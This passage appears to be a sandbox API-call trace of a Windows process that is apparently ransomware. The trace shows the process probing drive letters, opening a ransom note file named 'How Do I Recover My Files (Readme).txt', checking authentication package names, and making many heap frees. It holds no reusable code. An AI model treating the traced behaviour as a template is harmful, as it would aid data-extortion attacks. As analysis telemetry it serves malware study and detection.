GetFileAttributesW (lpFileName="I:\\" (normalized: "i:")) returned 0xffffffff [0145.361] GetLastError () returned 0x3 [0145.367] GetFileAttributesW (lpFileName="J:\\" (normalized: "j:")) returned 0xffffffff [0145.367] GetLastError () returned 0x3 [0145.374] GetFileAttributesW (lpFileName="K:\\" (normalized: "k:")) returned 0xffffffff [0145.374] GetLastError () returned 0x3 [0145.379] GetFileAttributesW (lpFileName="L:\\" (normalized: "l:")) returned 0xffffffff [0145.380] GetLastError () returned 0x3 [0145.387] GetFileAttributesW (lpFileName="M:\\" (normalized: "m:")) returned 0xffffffff [0145.388] GetLastError () returned 0x3 [0145.394] GetFileAttributesW (lpFileName="N:\\" (normalized: "n:")) returned 0xffffffff [0145.395] GetLastError () returned 0x3 [0145.400] GetFileAttributesW (lpFileName="O:\\" (normalized: "o:")) returned 0xffffffff [0145.400] GetLastError () returned 0x3 [0145.406] GetFileAttributesW (lpFileName="P:\\" (normalized: "p:")) returned 0xffffffff [0145.407] GetLastError () returned 0x3 [0145.413] GetFileAttributesW (lpFileName="Q:\\" (normalized: "q:")) returned 0xffffffff [0145.413] GetLastError () returned 0x3 [0145.418] GetFileAttributesW (lpFileName="R:\\" (normalized: "r:")) returned 0xffffffff [0145.418] GetLastError () returned 0x3 [0145.424] GetFileAttributesW (lpFileName="S:\\" (normalized: "s:")) returned 0xffffffff [0145.425] GetLastError () returned 0x3 [0145.431] GetFileAttributesW (lpFileName="T:\\" (normalized: "t:")) returned 0xffffffff [0145.431] GetLastError () returned 0x3 [0145.436] GetFileAttributesW (lpFileName="U:\\" (normalized: "u:")) returned 0xffffffff [0145.437] GetLastError () returned 0x3 [0145.442] GetFileAttributesW (lpFileName="V:\\" (normalized: "v:")) returned 0xffffffff [0145.442] GetLastError () returned 0x3 [0145.448] GetFileAttributesW (lpFileName="W:\\" (normalized: "w:")) returned 0xffffffff [0145.448] GetLastError () returned 0x3 [0145.453] GetFileAttributesW (lpFileName="X:\\" (normalized: "x:")) returned 0xffffffff [0145.454] GetLastError () returned 0x3 [0145.459] GetFileAttributesW (lpFileName="Y:\\" (normalized: "y:")) returned 0xffffffff [0145.459] GetLastError () returned 0x3 [0145.468] GetFileAttributesW (lpFileName="Z:\\" (normalized: "z:")) returned 0xffffffff [0145.469] GetLastError () returned 0x3 [0145.470] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\How Do I Recover My Files (Readme).txt", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0145.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Digest", cchCount1=6, lpString2="Digest", cchCount2=6) returned 2 [0145.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTLM", cchCount1=4, lpString2="NTLM", cchCount2=4) returned 2 [0145.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Negotiate", cchCount1=9, lpString2="Negotiate", cchCount2=9) returned 2 [0145.581] FreeLibrary (hLibModule=0x75600000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bca8 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d49408 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bc90 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2aff40 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34a98 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2aff20 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34a80 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c50 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4dc30 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d20 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34b10 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e60 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34af8 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352d8 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48fe8 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35398 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d50 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e48 | out: hHeap=0x2a0000) returned 1 [0145.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d38 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34b70 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ce8 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34b58 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34eb8 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f08 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ea0 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c60 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ca8 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c48 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34cc0 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e28 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ca8 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34cd8 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c78 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34b88 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ed0 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d68 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34b28 | out: hHeap=0x2a0000) returned 1 [0145.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ae8 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ab0 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b18 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bcc0 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a0ae0 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2afeb8 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21958 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23ae8 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25ad8 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d265c8 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26c10 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27db0 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b430 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b868 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2cb68 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d321f8 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d32768 | out: hHeap=0x2a0000) returned 1 [0145.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23000 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28380 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a2b0 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b6d0 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d33140 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21d58 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23c70 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23d48 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23e20 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24530 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d279e0 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27f18 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a958 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e058 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d211a0 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21fb0 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23288 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d245d8 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26038 | out: hHeap=0x2a0000) returned 1 [0145.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27368 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d286e0 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e610 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21248 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d221b8 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d22dc0 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23800 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26a00 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28338 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29db8 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b748 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d2e0 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e418 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e7a8 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d33848 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21798 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d239e0 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24318 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25ee8 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26320 | out: hHeap=0x2a0000) returned 1 [0145.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a850 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2db20 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e298 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d33e98 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d347e0 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23180 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24048 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d271e8 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28560 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a040 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2bde8 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c028 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d160 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d33e08 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34588 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21648 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d237b8 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d238c0 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24258 | out: hHeap=0x2a0000) returned 1 [0145.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25478 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26cf0 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2af68 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2bcb0 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c088 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c178 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c3e8 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2da30 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2faf0 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21678 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d22d90 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d22dd8 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d235a8 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24228 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24728 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a310 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2de60 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d31ef8 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d329f0 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d32e40 | out: hHeap=0x2a0000) returned 1 [0145.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21510 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21b38 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d232e8 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d246f8 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25940 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26260 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26820 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26f60 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27bd8 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29de8 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c130 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d4a8 | out: hHeap=0x2a0000) returned 1 [0145.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21dd0 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25718 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26958 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27518 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b9b8 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2bc40 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2cb80 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d4f0 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d334b8 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d33df0 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d21750 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d243f0 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24608 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d259e8 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25cd8 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26020 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27620 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b358 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b718 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d3a0 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e2b0 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24030 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26398 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28158 | out: hHeap=0x2a0000) returned 1 [0145.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2ade8 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d1f0 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e028 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e4a8 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f430 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d227b8 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d242b8 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26d80 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27fa8 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28b30 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b100 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c928 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d230d8 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d266a0 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27998 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28680 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28770 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c8b0 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2ca60 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e538 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2ef20 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d31d18 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d32540 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d22380 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d231e0 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d257f0 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d264d8 | out: hHeap=0x2a0000) returned 1 [0145.594] 